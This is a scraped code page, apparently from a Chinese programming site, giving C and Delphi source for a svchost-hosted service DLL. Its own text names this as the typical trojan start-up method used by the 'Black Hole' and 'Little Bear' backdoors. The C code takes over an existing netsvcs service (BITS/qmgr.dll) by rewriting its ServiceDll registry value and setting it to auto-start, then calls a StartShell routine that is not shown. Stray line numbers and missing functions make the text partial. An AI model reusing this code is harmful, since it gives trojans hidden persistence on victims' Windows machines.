1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573
|
Code Language : C
SERVICE_STATUS_HANDLE hSrv; DWORD dwCurrState;
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
int ControlService(DWORD dwCommand) { char cmd[MAX_PATH] = {0}; if (dwCommand == SERVICE_CONTROL_CONTINUE) { strcpy(cmd, "net start "); } else if(dwCommand == SERVICE_CONTROL_STOP) { strcpy(cmd, "net stop "); } strcat(cmd, stServiceCfg.szSvcName);
PROCESS_INFORMATION pi; STARTUPINFO si; memset(&si,0,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; if(!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) OutputString("SvcHostDLL: CreateProcess(%s) error:%d", cmd, GetLastError()); else OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd, pi.dwProcessId);
return 0; }
int ReplaceService() { int rc = 0; HKEY hKey = 0;
try{ char buff[500];
char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_QUERY_VALUE, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc); throw ""; }
DWORD type, size = sizeof buff; rc = RegQueryValueEx(hKey, "netsvcs", 0, &type, (unsigned char*)buff, &size); RegCloseKey(hKey); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegQueryValueEx(Svchost\\netsvcs)";
for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1) if(stricmp(ptr, stServiceCfg.szSvcName) == 0) break;
if(*ptr == 0) { OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:"); for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1) OutputString(" - %s", ptr); throw ""; }
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff); strcat(buff, stServiceCfg.szSvcName); rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc); throw ""; }
DWORD dwValue = 2; rc = RegSetValueEx(hKey, "Start", 0, REG_DWORD, (unsigned char*)&dwValue, sizeof(DWORD)); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegSetValueEx(start)";
char szDllPath[MAX_PATH] = {0}; if(!GetModuleFileName(HMODULE(hDll), szDllPath, sizeof szDllPath)) throw "GetModuleFileName() get dll path";
LogToFile(szDllPath, GetLastError());
strcat(buff, "\\Parameters"); rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc); throw ""; } rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)szDllPath, strlen(szDllPath)+1); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
OutputString("Config service %s ok.", stServiceCfg.szSvcName); } catch(char *str) { if(str && str[0]) { rc = GetLastError(); OutputString("%s error %d", str, rc); } }
RegCloseKey(hKey);
ControlService(SERVICE_CONTROL_CONTINUE);
return 0; }
int RecoverService() { int rc = 0; HKEY hKey = 0;
try{ LogToFile("RecoverService"); char buff[500]; strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff); strcat(buff, stServiceCfg.szSvcName); rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc); throw ""; } LogToFile("RegSetValueEx"); DWORD dwValue = 3; rc = RegSetValueEx(hKey, "Start", 0, REG_DWORD, (unsigned char*)&dwValue, sizeof(DWORD)); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegSetValueEx(start)";
char szDllPath[MAX_PATH] = {0}; strcpy(szDllPath, "%SystemRoot%\\System32\\qmgr.dll");
strcat(buff, "\\Parameters"); rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc); throw ""; } rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)szDllPath, strlen(szDllPath)+1); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
OutputString("RecoverService(%s) SUCCESS.", stServiceCfg.szSvcName); } catch(char *str) { if(str && str[0]) { LogToFile(str); rc = GetLastError(); OutputString("%s error %d", str, rc); } } RegCloseKey(hKey);
ControlService(SERVICE_CONTROL_STOP); return 0; } BOOL InstallService() { int rc = 0; HKEY hKey, hkParam = 0; SC_HANDLE hscm = NULL, schService = NULL; try{ char buff[500]; char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_QUERY_VALUE, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc); throw ""; } DWORD type, size = sizeof buff; rc = RegQueryValueEx(hKey, "netsvcs", 0, &type, (unsigned char*)buff, &size); RegCloseKey(hKey); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegQueryValueEx(Svchost\\netsvcs)"; for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1) if(stricmp(ptr, stServiceCfg.szSvcName) == 0) break; if(*ptr == 0) { OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:"); for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1) OutputString(" - %s", ptr); throw ""; } hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hscm == NULL) throw "OpenSCManager()"; char *bin = "%SystemRoot%\\system32\\svchost.exe -k netsvcs"; schService = CreateService( hscm, stServiceCfg.szSvcName, stServiceCfg.szSvcName, SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, bin, NULL, NULL, NULL, NULL, NULL); if (schService == NULL) { OutputString("CreateService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError()); throw ""; } OutputString("CreateService(%s) SUCCESS. Config it path %s", stServiceCfg.szSvcName, bin); CloseServiceHandle(schService); CloseServiceHandle(hscm); strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff); strncat(buff, stServiceCfg.szSvcName, 100); rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey); if(ERROR_SUCCESS != rc) { OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc); throw ""; } rc = RegCreateKey(hKey, "Parameters", &hkParam); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegCreateKey(Parameters)"; if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff)) throw "GetModuleFileName() get dll path"; rc = RegSetValueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1); SetLastError(rc); if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)"; OutputString("Config service %s ok.", stServiceCfg.szSvcName); } catch(char *str) { if(str && str[0]) { rc = GetLastError(); OutputString("%s error %d", str, rc); } } RegCloseKey(hKey); RegCloseKey(hkParam); CloseServiceHandle(schService); CloseServiceHandle(hscm);
ControlService(SERVICE_CONTROL_CONTINUE); return rc; } int UninstallService() { int rc = 0; SC_HANDLE schService; SC_HANDLE hscm; __try{ hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hscm == NULL) { OutputString("OpenSCManager() error %d", rc = GetLastError() ); return rc; } schService = OpenService(hscm, stServiceCfg.szSvcName, DELETE); if (schService == NULL) { OutputString("OpenService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError() ); return rc; } if (!DeleteService(schService) ) { OutputString("OpenService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError() ); return rc; } OutputString("DeleteService(%s) SUCCESS.", stServiceCfg.szSvcName); } __except(1) { OutputString("Exception Catched 0x%X", GetExceptionCode()); } CloseServiceHandle(schService); CloseServiceHandle(hscm); ControlService(SERVICE_CONTROL_STOP); return rc; } void ServiceMain( int argc, wchar_t *argv[]) { char svcname[256]; strncpy(svcname, (char*)argv[0], sizeof svcname); wcstombs(svcname, argv[0], sizeof svcname); OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname); hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler ); if( hSrv == NULL ) { OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]); return; } TellSCM( SERVICE_START_PENDING, 0, 1 ); TellSCM( SERVICE_RUNNING, 0, 0 ); StartShell(); OutputString("SvcHostDLL: ServiceMain done"); return; } int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress ) { SERVICE_STATUS srvStatus; srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; srvStatus.dwCurrentState = dwCurrState = dwState; srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; srvStatus.dwWin32ExitCode = dwExitCode; srvStatus.dwServiceSpecificExitCode = 0; srvStatus.dwCheckPoint = dwProgress; srvStatus.dwWaitHint = 3000; return SetServiceStatus( hSrv, &srvStatus ); } void __stdcall ServiceHandler( DWORD dwCommand ) { switch( dwCommand ) { case SERVICE_CONTROL_STOP: TellSCM( SERVICE_STOP_PENDING, 0, 1 ); OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP"); Sleep(10); TellSCM( SERVICE_STOPPED, 0, 0 ); break; case SERVICE_CONTROL_PAUSE: TellSCM( SERVICE_PAUSE_PENDING, 0, 1 ); OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE"); TellSCM( SERVICE_PAUSED, 0, 0 ); break; case SERVICE_CONTROL_CONTINUE: TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 ); OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE"); TellSCM( SERVICE_RUNNING, 0, 0 ); break; case SERVICE_CONTROL_INTERROGATE: OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE"); TellSCM( dwCurrState, 0, 0 ); break; case SERVICE_CONTROL_SHUTDOWN: OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN"); TellSCM( SERVICE_STOPPED, 0, 0 ); break; } } Parsed in 0.156 seconds
Delphi版本源代码 典型的Svchost启动DLL木马方式,黑洞和小熊都用了这种启动方式....
library ServiceDll; uses SysUtils, Classes, winsvc, System, Windows; { 定义全局变量 } var SvcStatsHandle : SERVICE_STATUS_HANDLE; dwCurrState : DWORD; ServiceName : PChar = 'BITS'; { 调试函数,用于输出调试文本 } procedure OutPutText(CH:PChar); var FileHandle: TextFile; F : Integer; Begin try if not FileExists('zztestdll.txt') then F := FileCreate('zztestdll.txt'); finally if F > 0 Then FileClose(F); end; AssignFile(FileHandle,'zztestdll.txt'); Append(FileHandle); Writeln(FileHandle,CH); Flush(FileHandle); CloseFile(FileHandle); END; procedure DLLEntryPoint(dwReason : DWord); begin case dwReason of DLL_PROCESS_ATTACH: ; DLL_PROCESS_DETACH: ; DLL_THREAD_ATTACH: ; DLL_THREAD_DETACH: ; end; end; function TellSCM(dwState : DWORD ; dwExitCode : DWORD; dwProgress : DWORD ): LongBool; var srvStatus : service_status; BEGIN srvStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS; dwCurrState := dwState; srvStatus.dwCurrentState := dwState; srvStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE or SERVICE_ACCEPT_SHUTDOWN; srvStatus.dwWin32ExitCode := dwExitCode; srvStatus.dwServiceSpecificExitCode := 0; srvStatus.dwCheckPoint := dwProgress; srvStatus.dwWaitHint := 3000; Result := SetServiceStatus( SvcStatsHandle, srvStatus ); END; PROCEDURE servicehandler(fdwcontrol:integer); STDCALL; BEGIN CASE fdwcontrol OF SERVICE_CONTROL_STOP: BEGIN TellSCM( SERVICE_STOP_PENDING, 0, 1 ); Sleep(10); TellSCM( SERVICE_STOPPED, 0, 0 ); END; SERVICE_CONTROL_PAUSE: BEGIN TellSCM( SERVICE_PAUSE_PENDING, 0, 1 ); TellSCM( SERVICE_PAUSED, 0, 0 ); END; SERVICE_CONTROL_CONTINUE: BEGIN TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 ); TellSCM( SERVICE_RUNNING, 0, 0 ); END; SERVICE_CONTROL_INTERROGATE: TellSCM( dwCurrState, 0, 0 ); SERVICE_CONTROL_SHUTDOWN: TellSCM( SERVICE_STOPPED, 0, 0 ); END; END; procedure ServiceMain(argc : Integer; VAR argv : pchar ); StdCall; begin { try begin if ParamStr(1) <> '' then svcname := strNew(PChar(ParamStr(1))) else begin svcname := strAlloc(10 * Sizeof(Char)); svcname := 'none'; end; OutPutText(svcname); end finally strdispose(svcname); end; }
SvcStatsHandle := RegisterServiceCtrlHandler(ServiceName, @servicehandler); IF (SvcStatsHandle = 0) THEN BEGIN OutPutText('Error in RegisterServiceCtrlHandler'); exit; END else begin FreeConsole(); end; TellSCM( SERVICE_START_PENDING, 0, 1 ); TellSCM( SERVICE_RUNNING, 0, 0 ); OutPutText('Service is Running');
while ((dwCurrState <> SERVICE_STOP_PENDING) and (dwCurrState <> SERVICE_STOPPED)) do begin showmessage('实在无聊') end; OutPutText('Service Exit'); end; exports ServiceMain; { dll入口点 } begin DllProc := @DLLEntryPoint; end.
|